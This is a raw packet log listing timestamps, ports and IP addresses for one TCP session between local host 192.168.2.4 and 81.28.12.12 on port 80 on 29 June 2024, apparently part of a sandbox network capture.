Jun 29, 2024 08:05:09.965184927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.965212107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.965223074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.965868950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.965884924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.965899944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.965913057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.965925932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.965934038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.965943098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.965955973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.965969086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.965989113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.966021061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.966057062 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.966744900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.966778040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.966788054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.966799974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.966820955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.966836929 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.966852903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.966893911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.966902018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.966914892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.967016935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.967628002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.967669010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.967680931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.967695951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.967716932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.967732906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.967747927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.967761993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.967803001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.968374014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.968400002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.968413115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.968422890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.968442917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.968455076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.968502998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.968518972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.968534946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.968545914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.968555927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.968575954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.969351053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.969367027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.969383001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.969393015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.969414949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.969424963 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.969446898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.969461918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.969486952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.969499111 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.970168114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.970181942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.970196962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.970220089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.970231056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.970240116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.970252037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.970261097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.970273972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.970300913 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.970318079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.971066952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.971113920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.971128941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.971160889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.971168995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.971180916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.971190929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.971201897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.971225023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.971899986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.971954107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.971970081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.971977949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.971993923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.972002983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.972017050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.972027063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.972037077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.972049952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.972090006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.972646952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.972661018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.972714901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.265809059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.265876055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.265907049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.265940905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.265986919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.266041994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.266074896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.266098976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.266130924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.266150951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.266200066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.266221046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.266253948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.266289949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.266307116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.266355991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.266391039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.266427040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.266446114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.266493082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.266525984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.266560078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.266580105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.266612053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.266633034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.266664028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.266683102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.266722918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.266757011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.266805887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.266825914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.266854048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.266880989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.266911983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.266932964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.266959906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.266993046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.267023087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.267081976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.267095089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.267126083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.267149925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.267196894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.267220974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.267254114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.267277956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.267302036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.267345905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.267406940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.267421961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.267452955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.267476082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.267508030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.267525911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.267556906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.267577887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.267606974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.267647028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.267699003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.267731905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.267755985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.267777920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.267811060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.267841101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.267862082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.267888069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.267920017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.267937899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.267962933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.267991066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.268023014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.268043995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.268073082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.268095970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.268126965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.268161058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.268187046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.268224955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.268239021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.268269062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.268290043 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.268321037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.268342018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.268374920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.268407106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.268429041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.268461943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.268502951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.268556118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.268589973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.268616915 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.268635988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.268663883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.268697023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.268718004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.268750906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.268767118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.268800974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.268821955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.268855095 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.268871069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.268922091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.268946886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.268979073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.269001961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.269026995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.269056082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.269087076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.269129992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.269144058 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.269175053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.269222975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.557472944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.557503939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.557519913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.557538033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.557559967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.557568073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.557583094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.557593107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.557607889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.557616949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.557632923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.557660103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.557682037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.557693958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.557709932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.557725906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.557737112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.557760000 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.557780981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.558923006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.558973074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.558984995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.558999062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.559035063 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.559079885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.559089899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.559104919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.559119940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.559129953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.559149027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.559155941 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.559170008 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.559190035 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.559214115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.559227943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.559242964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.559252977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.559276104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.559302092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.559432983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.559465885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.559480906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.559490919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.559506893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.559516907 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.559571981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.559597969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.559611082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.559654951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.560154915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.560189962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.560200930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.560214043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.560237885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.560262918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.560272932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.560287952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.560302019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.560312033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.560333967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.561172009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.561213970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.561232090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.561271906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.561289072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.561304092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.561316013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.561342001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.561372995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.561891079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.561953068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.561959982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.561975002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.562000990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.562011957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.562026024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.562036037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.562048912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.562062025 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.562097073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.562751055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.562763929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.562781096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.562798977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.562836885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.562848091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.562863111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.562877893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.562915087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.563719988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.563735008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.563755035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.563766956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.563790083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.563798904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.563815117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.563822031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.563849926 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.563873053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.564515114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.564565897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.564579010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.564594030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.564609051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.564620018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.564656019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.565332890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.565360069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.565376043 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.565383911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.565397024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.565418959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.851437092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.851480007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.851536989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.851567984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.851599932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.851634979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.851669073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.851687908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.851716995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.851744890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.851789951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.859622002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.859657049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.859683037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.859707117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.859733105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:10.859783888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:10.859807014 CEST	80	49731	81.28.12.12	192.168.2.4
